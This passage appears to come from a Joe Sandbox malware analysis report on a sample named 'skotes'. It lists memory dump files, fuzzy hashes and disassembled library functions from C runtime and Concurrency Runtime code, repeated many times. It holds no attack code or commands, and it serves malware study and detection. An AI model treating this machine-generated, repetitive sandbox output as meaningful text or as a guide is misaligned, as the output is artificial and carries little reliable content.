Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: a18ccd93ad37fb7b5f8041517b8949c77b93fba9c991ea9b5a589b59db373027
Instruction ID: 312b52d57be8bf3787a78a23c1b36823de7947bd213aa4027b4e94222be651a0
Opcode Fuzzy Hash: a18ccd93ad37fb7b5f8041517b8949c77b93fba9c991ea9b5a589b59db373027
Instruction Fuzzy Hash: 5381B072D006569FDF249FA4C881AEF7BB59F0A31CF294059E900B7261E735CC44CBA2

Function 0013504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00135115
___AdjustPointer.LIBCMT ref: 00135138
___AdjustPointer.LIBCMT ref: 001351D4

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c4d2deed0ed451294237e7660722bc1c0f7dffc7babda09d0dd34fb854688811
Instruction ID: 72f0f9eb0c30485501842d805660ac90880a6ace263fee88c192ee61604a8e23
Opcode Fuzzy Hash: c4d2deed0ed451294237e7660722bc1c0f7dffc7babda09d0dd34fb854688811
Instruction Fuzzy Hash: A9510671601A06AFDB298F54D881BBA77B6EF24B10F14452DFC069B291E731ED81CBD0

Function 00134C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00134C66
TypeidsEqual.LIBVCRUNTIME ref: 00134C8B
PMDtoOffset.LIBCMT ref: 00134CA1
PMDtoOffset.LIBCMT ref: 00134D22

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 273e9db40c4317363e268fdb43722b581fb9edf6c061240e2cf71da956a66fce
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: C3518B39A042499FDF21CFA8C4806EEBBF5EF25364F14449AE851A7361D732BE45CB90

Function 0012DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0012DB64

Part of subcall function 00128F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00128F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0012DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0012DBE9
Concurrency::location::_Assign.LIBCMT ref: 0012DC56

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 54665eb68a35421bdda5500fbf090ae483196566a1a7d346ade764ca83273b57
Instruction ID: ac07e5d2d8601d6f0dd1e6c15afad2f185ba9611f5240e190bba124e2abca310
Opcode Fuzzy Hash: 54665eb68a35421bdda5500fbf090ae483196566a1a7d346ade764ca83273b57
Instruction Fuzzy Hash: 7941F470604224ABCF19AB24F896BBDBB75AF55310F1440ADE5069B3C2CB70AD65C7D1

Function 001256AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 001256F2
_InternalDeleteHelper.LIBCONCRT ref: 00125726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0012578B
SafeRWList.LIBCONCRT ref: 0012579A

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045098739.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045202265.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045352715.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045506744.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045630904.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045752399.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045916157.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046068113.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046158916.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046289222.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046370862.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046536761.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046691297.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046778582.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046870463.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3046971961.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047058405.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047192814.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047266472.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047495300.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047614481.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047710453.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047840088.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3047924632.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048044910.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3048180833.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 12e5c677ff5e7dfc74ddf773665368904eae8017e44504fff1bfa46ee319a0f6
Instruction ID: 9ab77e548c7ee3b964220bf9783166cef03840187e2c0bbf3b1cd3da31a4390d
Opcode Fuzzy Hash: 12e5c677ff5e7dfc74ddf773665368904eae8017e44504fff1bfa46ee319a0f6
Instruction Fuzzy Hash: C8312836740620DFDF099F64E881AAD77A6AFC9710F144279E90A9F395DF30AC018790

Function 00122CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00122D0F

Memory Dump Source

Source File: 00000006.00000002.3035558998.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000006.00000002.3035335607.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3035558998.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037014250.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037427966.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3037640700.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3038977391.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3039231334.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041259212.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041476076.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3041664070.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042013283.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042265069.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042498358.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3042827694.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043183017.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3043350805.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044269303.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044483030.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044655799.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3044869067.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3045008865.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
